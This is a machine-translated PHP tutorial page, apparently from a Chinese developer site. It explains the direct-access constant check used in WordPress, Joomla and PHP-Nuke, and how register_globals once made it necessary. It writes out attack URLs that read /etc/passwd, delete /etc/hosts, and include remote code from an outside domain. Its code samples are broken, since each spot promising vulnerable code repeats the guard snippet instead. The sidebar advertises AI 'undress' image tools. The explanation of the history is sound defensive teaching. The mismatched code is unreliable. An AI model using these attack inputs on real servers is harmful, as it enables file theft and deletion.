搜尋
首頁後端開發php教程框架和 CMS 中那些奇怪的 PHP 程式碼

Ese extraño código PHP en frameworks y CMS

注意:要閱讀這篇文章,我們假設您具有最低限度的 PHP 程式設計知識。

這篇文章是關於PHP 程式碼片段的,您可能在您最喜歡的CMS 或框架的頂部看到過該程式碼片段,並且您可能已經讀過,為了安全起見,您應該始終將其包含在您所使用的所有PHP 檔案的標頭中。發展,儘管沒有非常清楚地解釋原因。我指的是這段程式碼:

<?php if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

這種類型的程式碼在 WordPress 檔案中很常見,儘管它實際上出現在幾乎所有框架和 CMS 中。例如,在 CMS Joomla 的情況下,唯一改變的是使用 JEXEC,而不是 ABSPATH。否則,邏輯是相同的。這個 CMS 源自於另一個名為 Mambo 的 CMS,它也使用類似的程式碼,但使用 _VALID_MOS 作為常數。如果我們追溯到更遠的時間,我們會發現第一個使用這種類型程式碼的 CMS 是 PHP-Nuke(被一些人認為是第一個 PHP CMS)。

PHP-Nuke(以及當今大多數 CMS 和框架)的執行流程包括順序加載多個文件,這些文件一起響應用戶或訪問者在網路上執行的操作。也就是說,想像一下當時的網站,位於 example.net 網域下方並安裝了此 CMS。每次載入主頁時,系統都會有序地執行一系列檔案(這裡只是一個範例,而不是真正的序列):index.php => load_modules.php =>;模組.php。也就是說,按照這個順序,先載入index.php,然後該腳本載入load_modules.php,然後載入modules.php。

這個執行鏈並不總是從第一個檔案(index.php)開始。事實上,任何人都可以透過直接透過URL 呼叫其他PHP 檔案之一(例如http://example.net/load_modules.php 或http://example.net/modules.php)來跳過此流程的一部分,這正如我們將看到的,在許多情況下可能是危險的。

這個問題是如何解決的? 引入了安全措施,在每個文件的開頭添加代碼,類似於:

<?php if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

基本上,這段程式碼位於一個名為modules.php 的檔案的標頭中,用於檢查是否可以透過URL 直接存取modules.php。如果是這樣,執行將停止,並顯示訊息:「您無法直接存取此文件...」。如果$HTTP_SERVER_VARS['PHP_SELF']不包含modules.php,那麼這意味著我們處於正常的執行流程中並被允許繼續。

但是,此程式碼有一些限制。首先,插入的每個文件的程式碼都不同,這增加了複雜性。另外,在某些情況下,PHP 並沒有為 $HTTP_SERVER_VARS['PHP_SELF'] 賦值,這限制了其有效性。

那麼開發者做了什麼?他們用更簡單、更有效率的版本取代了所有這些程式碼片段:

<?php if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

在 PHP 社群中已經很常見的這段新程式碼中,驗證了常數的存在。該常數在流程的第一個檔案(index.php 或 home.php 或一些類似檔案)中定義並指派了一個值。因此,如果該常數不存在於流中的其他文件中,則表示有人跳過了 index.php 檔案並嘗試直接存取另一個檔案。

直接啟動 PHP 檔案的危險

此時你一定會想,打破執行鏈一定是世界上最嚴重的事。然而,現實情況是,通常,它並不代表重大危險。

當 PHP 錯誤暴露我們檔案的路徑時,可能會出現危險。如果我們在伺服器上配置了錯誤抑制,那麼我們就不必擔心,並且即使沒有隱藏錯誤,暴露的資訊也很少,只為可能的攻擊者提供一些線索。

也可能有人存取包含 HTML 片段(來自視圖)的文件,從而洩露其部分內容。在大多數情況下,這也不應該令人擔憂。

最後,開發人員可能會因為疏忽或缺乏經驗而在執行流程中插入沒有外部依賴的危險程式碼。這是非常不尋常的,因為通常框架或 CMS 的程式碼依賴其他類別、函數或外部變數來執行。因此,如果您嘗試直接透過 URL 運行腳本,它將無法找到這些依賴項,並且不會繼續執行。

那麼,如果幾乎沒有任何值得擔心的地方,為什麼要加入常數程式碼呢?原因是這樣的:“此方法還可以防止通過攻擊 註冊全局變量 進行意外的變量注入,從而防止 PHP 文件假設它實際上不在應用程序內部。”

註冊全域變數

自 PHP 誕生以來,所有透過 URL (GET) 或表單 (POST) 傳送的變數都會自動轉換為全域變數。也就是說,如果檔案download.php?filepath=/etc/passwd 被訪問,則在download.php 檔案中(以及在執行流程中依賴於該檔案的檔案中)可以使用echo $filepath ;結果將是/ etc/passwd。

在 download.php 中,無法判斷 $filepath 變數是否是由執行流程中的前一個檔案建立的,或者是否有人透過 URL 或 POST 欺騙了它。這產生了很大的安全漏洞。讓我們來看一個例子,假設 download.php 檔案包含以下程式碼:

<?php if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

開發人員可能考慮使用前端控制器模式來實現他的程式碼,也就是讓所有 Web 請求都通過單一輸入檔(index.php、home.php 等)。該檔案將負責初始化會話、載入公共變量,最後將請求重定向到特定腳本(在本例中為 download.php)以下載檔案。

但是,攻擊者可以透過簡單地呼叫 download.php?filepath=/etc/passwd 來繞過計劃的執行序列,如前所述。因此,PHP 會自動建立全域變數 $filepath,其值為 /etc/passwd,從而允許攻擊者從系統下載該檔案。嚴重錯誤。

這只是冰山一角,因為甚至可以用最小的努力進行更危險的攻擊。例如,在以下程式碼中,程式設計師可以將其保留為未完成的腳本:

<?php if (!eregi("modules.php", $HTTP_SERVER_VARS['PHP_SELF'])) {
    die ("You can't access this file directly...");
}

攻擊者可以使用遠端檔案包含 (RFI) 攻擊執行任何程式碼。因此,如果攻擊者在自己的網站https://mysite.net 上建立了一個My.class.php 文件,其中包含他想要執行的任何程式碼,他就可以透過將其網域傳遞給易受攻擊的腳本來呼叫該腳本:codigo_inutil.php?base_path= https://mysite.net,攻擊完成。

另一個範例:在名為remove_file.inc.php 的腳本中,包含以下程式碼:

<?php if (!defined('MODULE_FILE')) {
    die ("You can't access this file directly...");
}

攻擊者可以使用像remove_file.inc.php?filename=/etc/hosts這樣的URL直接呼叫這個文件,從而嘗試從系統中刪除/etc/hosts文件(如果系統允許的話,或者其他)您有刪除權限的檔案)。

在像 WordPress 這樣內部也使用全域變數的 CMS 中,這種類型的攻擊是毀滅性的。然而,由於不斷的技術,這些和其他 PHP 腳本受到了保護。讓我們來看最後一個例子:

<?php if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly
}

現在,如果有人嘗試存取remove_file.inc.php?filename=/etc/hosts,該常數將阻止存取。它必須是一個常數,因為如果它是一個變量,攻擊者當然可以注入它。

此時您可能想知道如果 PHP 如此危險,為什麼還要保留此功能。另外,如果你了解其他腳本語言(JSP、Ruby 等),你會發現它們沒有類似的東西(這就是為什麼它們也不使用常量技術)。讓我們記住,PHP 是作為 C 語言的模板系統誕生的,這種行為促進了開發。好消息是,看到它造成的問題,PHP 維護者決定在 php.ini 中引入一個名為 register_globals 的指令(預設啟動)以允許停用此功能。

但由於問題仍然存在,他們默認禁用它。即便如此,許多主機仍然繼續啟用它,因為擔心客戶的專案會停止運作,因為當時的大部分程式碼沒有使用建議的 HTTP_*_VARS 變數來存取 GET/POST/... 值,但而是全域變數。

最後,看到情況沒有改變,他們做出了一個重大決定:在 PHP 5.4 中消除這個功能,以避免所有這些問題。因此,如今,像我們看到的腳本(不使用常數)不再通常構成危險,除了在某些情況下出現一些無害的警告/通知。

今天使用

時至今日,持續技術仍然很常見。然而,令人悲傷的是——也是導致這篇文章的原因——很少有開發人員知道其使用的真正原因。

與過去的其他良好實踐一樣(例如將函數中的參數複製到局部變量以避免調用中引用的危險,或者在私有變量中使用下劃線來區分它們),許多人仍然應用它只是因為有人曾經告訴他們這是一個很好的做法,而沒有考慮它是否真的在當今時代增加了價值。現實情況是,在大多數情況下,不再需要此技術。

這種做法失去相關性的一些原因如下:

  • *register 全域變數的消失:從 PHP 5.4 開始,將 GET 和 POST 變數註冊為 PHP 全域變數的功能不再存在。正如我們所看到的,如果沒有 *register globals,單一腳本的執行就變得無害,消除了這種做法的主要原因。

  • 當前程式碼中更好的設計:即使在PHP 5.4 之前的版本中,現代程式碼也經過更好的設計,在類別和函數中結構化,這使得透過外部變數進行存取或操作變得複雜。即使是經常使用全域變數的 WordPress,也可以將這些風險降到最低。

  • *front-controllers的使用:如今,大多數Web應用程式都使用精心設計的*front-controllers,這確保了類別和函數的程式碼僅當執行鏈從主入口點開始時才執行。因此,如果有人嘗試單獨上傳檔案並不重要:如果流程沒有從正確的點開始,邏輯將不會啟動。

  • 類別自動加載:由於目前開發中使用了類別自動加載,因此大大減少了 include 或 require 的使用。這意味著,除非您是新手開發人員,否則不應存在可能帶來風險的includesrequires(例如遠端檔案包含本地文件包含)。

  • 公用程式碼的分離:在許多現代CMS和框架中,公有程式碼(例如資產)與私有程式碼(程式碼)分開。此措施特別有價值,因為它可以確保如果 PHP 在伺服器上失敗,PHP 檔案中的程式碼(無論它們是否使用常數技術)不會暴露。儘管這並不是專門為了緩解註冊全域變數而實施的,但它有助於避免其他安全問題。

  • 友善 URL 的擴充使用:如今,將伺服器配置為使用友善 URL 很常見,這總是強制使用單一入口點進行程式設計。這使得任何人幾乎不可能單獨上傳 PHP 檔案。

  • 抑制生產中的錯誤輸出:大多數現代CMS 和框架預設都會阻止錯誤輸出,因此攻擊者無法找到有關應用程式內部工作原理的線索,這可能會促進其他類型的錯誤輸出攻擊。

儘管在大多數情況下不再需要此技術,但這並不意味著它永遠沒有用處。作為專業開發人員,必須分析每種情況並確定持續技術是否與您工作的特定環境相關。這是您應該始終遵循的標準,即使在您認為良好的實踐中也是如此。

疑問?這裡有一些提示

如果您仍不確定何時應用持續技術,這些建議可以引導您:

  • 如果您認為您的程式碼可以在早於 5.4 的 PHP 版本上運行,請務必使用該技術
  • 如果檔案僅包含類別的定義,請不要使用它
  • 如果檔案僅包含函數,請勿使用它
  • 如果檔案僅包含 HTML/CSS,請勿使用,除非 HTML 公開了某種類型的有價值資訊。
  • 如果檔案僅包含常數,請勿使用它

對於其他一切,如果您有疑問,請應用它。在大多數情況下,它不應該是有害的,並且可以在意外情況下保護您,特別是如果您剛開始。隨著時間和經驗的積累,您將能夠更好地評估何時應用此技術和其他技術。

Ese extraño código PHP en frameworks y CMS

繼續學習...

  • register_globals - MediaWiki
  • PHP:使用暫存器全域變數 - 手冊
  • 遠端檔案包含漏洞 [LWN.net]
  • Bugtraq:Mambo Site Server 版本 3.0.X 中存在嚴重安全漏洞

以上是框架和 CMS 中那些奇怪的 PHP 程式碼的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
您什麼時候使用特質與PHP中的抽像類或接口?您什麼時候使用特質與PHP中的抽像類或接口?Apr 10, 2025 am 09:39 AM

在PHP中,trait適用於需要方法復用但不適合使用繼承的情況。 1)trait允許在類中復用方法,避免多重繼承複雜性。 2)使用trait時需注意方法衝突,可通過insteadof和as關鍵字解決。 3)應避免過度使用trait,保持其單一職責,以優化性能和提高代碼可維護性。

什麼是依賴性注入容器(DIC),為什麼在PHP中使用一個?什麼是依賴性注入容器(DIC),為什麼在PHP中使用一個?Apr 10, 2025 am 09:38 AM

依賴注入容器(DIC)是一種管理和提供對象依賴關係的工具,用於PHP項目中。 DIC的主要好處包括:1.解耦,使組件獨立,代碼易維護和測試;2.靈活性,易替換或修改依賴關係;3.可測試性,方便注入mock對象進行單元測試。

與常規PHP陣列相比,解釋SPL SplfixedArray及其性能特徵。與常規PHP陣列相比,解釋SPL SplfixedArray及其性能特徵。Apr 10, 2025 am 09:37 AM

SplFixedArray在PHP中是一種固定大小的數組,適用於需要高性能和低內存使用量的場景。 1)它在創建時需指定大小,避免動態調整帶來的開銷。 2)基於C語言數組,直接操作內存,訪問速度快。 3)適合大規模數據處理和內存敏感環境,但需謹慎使用,因其大小固定。

PHP如何安全地上載文件?PHP如何安全地上載文件?Apr 10, 2025 am 09:37 AM

PHP通過$\_FILES變量處理文件上傳,確保安全性的方法包括:1.檢查上傳錯誤,2.驗證文件類型和大小,3.防止文件覆蓋,4.移動文件到永久存儲位置。

什麼是無效的合併操作員(??)和無效分配運算符(?? =)?什麼是無效的合併操作員(??)和無效分配運算符(?? =)?Apr 10, 2025 am 09:33 AM

JavaScript中處理空值可以使用NullCoalescingOperator(??)和NullCoalescingAssignmentOperator(??=)。 1.??返回第一個非null或非undefined的操作數。 2.??=將變量賦值為右操作數的值,但前提是該變量為null或undefined。這些操作符簡化了代碼邏輯,提高了可讀性和性能。

什麼是內容安全策略(CSP)標頭,為什麼重要?什麼是內容安全策略(CSP)標頭,為什麼重要?Apr 09, 2025 am 12:10 AM

CSP重要因為它能防範XSS攻擊和限制資源加載,提升網站安全性。 1.CSP是HTTP響應頭的一部分,通過嚴格策略限制惡意行為。 2.基本用法是只允許從同源加載資源。 3.高級用法可設置更細粒度的策略,如允許特定域名加載腳本和样式。 4.使用Content-Security-Policy-Report-Only頭部可調試和優化CSP策略。

什麼是HTTP請求方法(獲取,發布,放置,刪除等),何時應該使用?什麼是HTTP請求方法(獲取,發布,放置,刪除等),何時應該使用?Apr 09, 2025 am 12:09 AM

HTTP請求方法包括GET、POST、PUT和DELETE,分別用於獲取、提交、更新和刪除資源。 1.GET方法用於獲取資源,適用於讀取操作。 2.POST方法用於提交數據,常用於創建新資源。 3.PUT方法用於更新資源,適用於完整更新。 4.DELETE方法用於刪除資源,適用於刪除操作。

什麼是HTTP,為什麼對Web應用程序至關重要?什麼是HTTP,為什麼對Web應用程序至關重要?Apr 09, 2025 am 12:08 AM

HTTPS是一種在HTTP基礎上增加安全層的協議,主要通過加密數據保護用戶隱私和數據安全。其工作原理包括TLS握手、證書驗證和加密通信。實現HTTPS時需注意證書管理、性能影響和混合內容問題。

See all articles

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
3 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
3 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
3 週前By尊渡假赌尊渡假赌尊渡假赌

熱工具

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器

SAP NetWeaver Server Adapter for Eclipse

SAP NetWeaver Server Adapter for Eclipse

將Eclipse與SAP NetWeaver應用伺服器整合。

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

SecLists

SecLists

SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用